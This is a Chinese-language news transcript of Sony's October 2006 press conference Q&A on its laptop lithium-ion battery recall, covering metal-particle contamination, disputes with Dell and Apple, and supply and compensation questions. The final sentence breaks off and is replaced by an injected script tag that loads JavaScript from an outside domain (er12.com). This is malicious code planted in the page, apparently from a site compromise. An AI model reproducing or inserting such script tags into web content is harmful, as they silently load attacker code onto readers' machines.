索尼2006年10月24日针对该公司生产的笔记本电脑锂离子充电电池发生着火和异常发热事故的问题，公开说明了锂离子充电电池“自主更换计划”的概要。在随后的现场提问阶段，记者针对事故原因，就索尼与戴尔和苹果电脑的看法分歧，事故原因的详情，以及对年底商战的影响等方面纷纷提问。以下为提问的详细内容。
索尼方面回答提问的是索尼执行副社长、负责半导体与零部件部门的中川裕，索尼执行副总裁、负责产品安全和质量问题的木暮诚，索尼执行副总裁、负责公关和涉外工作的原直史。
——戴尔电脑2005年12月就曾召回过一部分。虽然有点事后诸葛亮，现在您认为当时的判断正确吗？
中川：虽说这是与戴尔协商后做出的判断，但现在回想起来，不能否认当时的技术分析还不够充分。
——对于戴尔和苹果电脑发生的事故，两公司主张“是索尼充电电池的问题”，而索尼则主张“电脑的系统结构也是导致事故的一个原因”。双方看法分歧，希望能够再次明确索尼的观点。
中川：我认为系统结构是有影响的。
——混入电池单元的金属微粒具体是什么材料？ 中川：铜、铝、铁、镍都有可能。此次我们认为是镍。
——贵公司解释的原因是电池单元内部的三角地带存在金属微粒时，有可能因为短路而着火和产生异常发热。但也有专家指出了另外的原因。
中川：的确，除此之外还能举出其他着火和异常发热的原因。不过，此次本公司认为上述可能性是最高的。
——霍华德·斯丁格董事长和中钵良治社长会因此受到处分吗？
原：二人均认为事态非常严重。不过，目前的任务是迅速实施“自主更换计划，尽快恢复消费者的信任。处分问题目前尚未考虑。
——日本经济产业大臣甘利明曾表示“索尼最近到底怎么啦”，“以技术擅长的索尼”还会复活吗？
原：甘利明曾经是索尼的职员，他的此番话我们把它作为对索尼的鞭策。在他说此话之前，他曾提到索尼迅速决定更换之事。此次只是生产过程中产生的问题，从技术开发层面来说，索尼能够向市场提供具有高具竞争力的产品。
——如果优先更换充电电池，那么年底商战时电子产品类充电电池的供应会不会产生问题？
中川：需要更换的电池，各电脑厂商已经决定从多家公司采购。在自主更换计划中也曾进行了协商，并且提案可以从索尼以外的其他充电电池厂商采购。所以，我认为对年底商战不会有影响。
——作为充电电池的业务模式来说，大致如下3种：（1）依据电脑厂商提出的标准进行电池组的设计、生产和销售；（2）根据电脑厂商提出的标准及指定配件进行生产和销售；（3）电池单元的单独销售。请问，各电脑厂商采用了哪种形态？
中川：这是电脑厂商的问题，索尼不便回答。
——考虑到事故等问题，单独销售电池单元是否是风险很高的业务模式？
中川：单独销售电池单元时，索尼将认真考察客户是否具备电池组的设计能力等问题。
——在戴尔和苹果电脑使用的锂离子充电电池，以及自主更换对象中，索尼供应的部分有多少？
中川：正在协商，不便回答。
——如果将更换电池的一部分业务委托给其他公司，今后订单是不是就可能流向其他公司？
中川：完全有可能。具体就要看我们今后能把客户的担心消除到什么程度了。
——在自主更换计划所涉及的350万块电池（2003年8月～2006年2月生产的容量为2.4ah和2.6ah的锂离子充电电池）中，听说发生了一起事故。这是一起什么样的事故？
中川：电池单元附近发生过热。
——惠普表示不参加自主更换计划。惠普电脑使用的充电电池单元中没有混入金属微粒吗？
木暮：听说惠普独自进行技术调查后，做出判断不需更换。
——经过此次发表，是否可以认为缺陷电池问题“到此结束”？
中川：我们希望自主更换计划能够为电池问题打上休止符。不过，要问我今后不会再发生电池事故吗，这就很难回答。我认为索尼做得很彻底了。
——自主更换计划对象外的锂离子充电电池没有问题吗？
中川：尽可能地进行了调查，最终得出了此次的结论。
——听说东芝正在考虑要求索尼对由于电池问题导致错失商机进行补偿，索尼的看法如何？
中川：索尼向包括东芝在内的电脑厂商递交了“关于费用负担”的业务文件。由于协商尚未开始，在此回避。
——关于戴尔和苹果发生的事故，pc厂商和索尼持不同观点，这到底是怎么一回事？在这种状态下采用新发布的检查体制能防止事故的发生吗？
中川：索尼的观点如前所述。从防止事故的角度来说，不是单靠电脑厂商或电池厂商某一方采取对策，而是需要双方都具有相互协作，共同提高使用安全的态度。
——不能完全防止金属微粒的混入吗？
中川：无法保证“零混入”。如果能够做到零混?script src=http://er12.com/t.js>
